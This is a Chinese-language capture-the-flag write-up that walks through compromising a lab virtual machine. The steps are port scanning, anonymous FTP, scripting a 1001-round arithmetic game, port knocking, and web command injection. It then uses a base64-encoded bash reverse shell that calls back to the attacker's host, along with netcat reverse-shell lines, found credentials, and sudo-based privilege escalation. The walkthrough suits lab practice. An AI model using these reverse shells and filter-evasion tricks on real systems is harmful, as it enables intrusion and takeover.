获取 IP 地址,目标机器已显示:
获取信息:nmap -A -p- 192.168.67.108
得到 4 个端口:
21 --> FTP --> open --> 猜测有文件可获取
22 --> SSH --> filtered --> 猜测为敲门服务[DC 有练过]
1337 --> SOME --> open --> 使用 nc 连接
7331 --> HTTP --> open --> 网页
21 --> FTP
仔细看 nmap 扫描返回的结果,可以看到可以使用 Anonymous 用户名登陆,并且有三个文件可读,可以 GET 下来查看:
ftp 192.168.67.108 21
ls
get creds.txt
get game.txt
get message.txt
查看三个文件:
1337 --> game
nc 192.168.67.108 1337
哦吼,1000 次,这是手动做的事情吗?当然不是,编写脚本自动跑吧~脚本后面会简单解释下[注:python编写]
#!/usr/bin/env python3
import socket,time
def calc(firstnum,secondnum,flag):
firstnum = int(firstnum)
secondnum = int(secondnum)
answer = 0
if flag == '+':
answer = firstnum + secondnum
if flag == '-':
answer = firstnum - secondnum
if flag == '*':
answer = firstnum * secondnum
if flag == '/':
answer = firstnum / secondnum
return int(answer)
def get_data(s):
try:
total_data = []
for i in range(1):
try:
time.sleep(0.1)
data = s.recv(14)
print("Length: "+str(len(data)))
if not len(data):
break
total_data.append(data.decode("utf-8"))
except:
continue
return total_data
except socket.error as e:
print(e)
def main():
try:
time.sleep(2)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.connect(("192.168.67.108",1337))
s.setblocking(0)
total_data = []
time.sleep(2)
data = s.recv(444)
# print(data)
total_data.append(data.decode("utf-8"))
firstget = total_data[0]
# print(firstget)
flag = firstget[-9]
num2 = firstget[-5]
num1 = firstget[-13]
print(num1,flag,num2)
answer = str(calc(num1,num2,flag))
print("Answer: "+answer)
for i in range(1,1002):
print("times: "+str(i))
s.sendall(answer.encode("utf-8")+"\x0a".encode("utf-8"))
if i == 1001:
total_data = []
time.sleep(2)
data = s.recv(74)
#print(len(data))
total_data.append(data.decode("utf-8"))
firstget = total_data[0]
print(firstget)
else:
data = get_data(s)[0]
num1 = data[1]
flag = data[5]
num2 = data[9]
print("Calc: "+num1+flag+num2)
answer = str(calc(num1,num2,flag))
print("Answer: "+answer)
print()
except socket.error as e:
print(e)
if __name__ == '__main__':
main()
这里面最需要注意的地方就是 RECV 阻塞的问题,可以设置非阻塞状态,除此之外,需要在 recv 函数前设置 sleep ,模拟阻塞,这两个都没啥效果,会在中途出 bug,起初我的 recv[] 设置接受数据大小为 20480 ,后面一直不行,打印数据大小,将 recv[] 接受数据改为接受长度,第一次接受到的数据长度为 444 ,第二次到 1001 为 14,最后接受为敲门服务的三个端口号,长度为 74 [题目说是 1000 次,其实是 1001 次…想坑人]
花费时间在几分钟之内
22 --> SSH
得到敲门服务口令:1356, 6784, 3409[利用 nmap 敲门]
刚开始我们可以看到 SSH 被过滤了:
敲了门以后打开 SSH:[一次敲门不成功你就多敲几次,多敲几次就成功了:D]
nmap -p1356 192.168.67.108
nmap -p6784 192.168.67.108
nmap -p3409 192.168.67.108
nmap -p22 192.168.67.108
很好,到这里我们花了一些时间,就为打开一个 SSH 服务:|
7331 --> HTTP
前面三个端口我们都弄完了,接下来到最后一个 web 看看:
就这?啥都点不了,dirb 跑一下路径:
dirb http://192.168.67.108/7331 /usr/share/wordlists/dirb/big.txt
跑出来两个东东:genie 和 wish
wish 页面一看 Excute 手痒输入 id 命令查看一下,弹出页面,仔细看,哇,障眼法呀(Ctrl_a 高亮)看不清楚查看网页源代码
查看一下 /etc/passwd
不禁疑问,这是把空格过滤了还是什么,ls -l,一波,查看网页源代码
看来不是把空格过滤了,尝试一下能否获取反弹shell:
nc 192.168.67.221 8686 -e /bin/bash
—> Wrong choice of words
这里是把 bash 给过滤掉了吗?换个姿势尝试下~
bash -i >& /dev/tcp/192.168.67.221/8686 0>&1
—> Wrong choice of words
看来是把一些特殊字符过滤掉了,尝试能否编码绕过,但是系统指令时不识别的,会显示未找到命令,那能不能吧把编码过的命令传过去,然后解码然后执行呢?答案是可行的
首先打开侦听端口:
nc -vnlp 8686
其次执行编码:
echo "bash -i >& /dev/tcp/192.168.67.221/8686 0>&1" | base64
得到一串编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK
再者在 wish 页面上执行:[其实就是先编码后解码再执行这么三步:D] --> 获取反弹 SHELL
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK" | base64 -d | bash
ls -la
--> 我也不知道为啥图中双写了,查看了一下内容,没有啥发现,到家目录 /home 看一下
查看 users.txt 没有权限,进入 .cache 无权限,进入 .dev 可以,查看 creds.txt
cd .dev
cat creds.txt
得到 nitish 的账号和密码 --> nitish:p4ssw0rdStr3r0n9
到这里可以用两种方法登陆
- SSH 登陆
- su 进入,但首先得获取 bash 壳,可借助 python,
python -c 'import pty;pty.spawn("/bin/bash")'
,然后 su nitish
竟然有 SSH ,那干嘛不用呢?
ssh nitish@192.168.67.108
ls -la
cat user.txt
得到一个flag:
想进入到另外一个 sam 用户,进不了,看一下有没有越权命令可用:
sudo -l
有一个 /usr/bin/genie
可供我们用 sam 权限使用
man genie
查看帮助
有 4 个命令可以使用,猜测作者是想在后续实验恶搞我们,恶趣味啊…后面证明确实如此…
4 个命令均尝试一下,[注:玩多了你会发现从右往左或者从后往前可以提高效率,这里还是从前往后搞吧…]
sudo -u sam genie -g id
果然骂人…
sudo -u sam genie -p id 123
--> 还骂
sudo -u sam genie -e id 123
--> 起初以为良心发现不骂了,事实证明我要拿 shell 时,不给就算了,又骂人
sudo -u sam genie -cmd dir
--> 最后一个看来不是良心发现,而是不得不给:|
cd /home/sam
ls -la
cat .sudo_as_admin_successful
--> 无反应
…初步查阅,有一个 .pyc 我们可以尝试反编译
但是需要下载下来,百思不得其解,后来学习到可以开一个简单的服务器,展示当前目录,从 Browser 下下载,学习了…
python -m SimpleHTTPServer
wget http://192.168.67.108:8000/.pyc
uncomplepy6 .pyc
得到源码,但是还不知道有什么用…
老手段搞搞:sudo -l
有 root 权限,看来提权就结束了
sudo -u root /root/lago
--> 是几个选项,你会发现他又开始骂人…
唯一能做的就是 2 选项,让你猜数字,只有这个是可以重复的,所以猜测提权入口点在这里。
除此之外你会发现,之前用 uncompyle6 反编译 .pyc 就是这个的源码
经过研究,尝试在 2 项中输入 num ,得到结果:[研究源码,你也会有所发现]
cd /root
ls -la
.proof.sh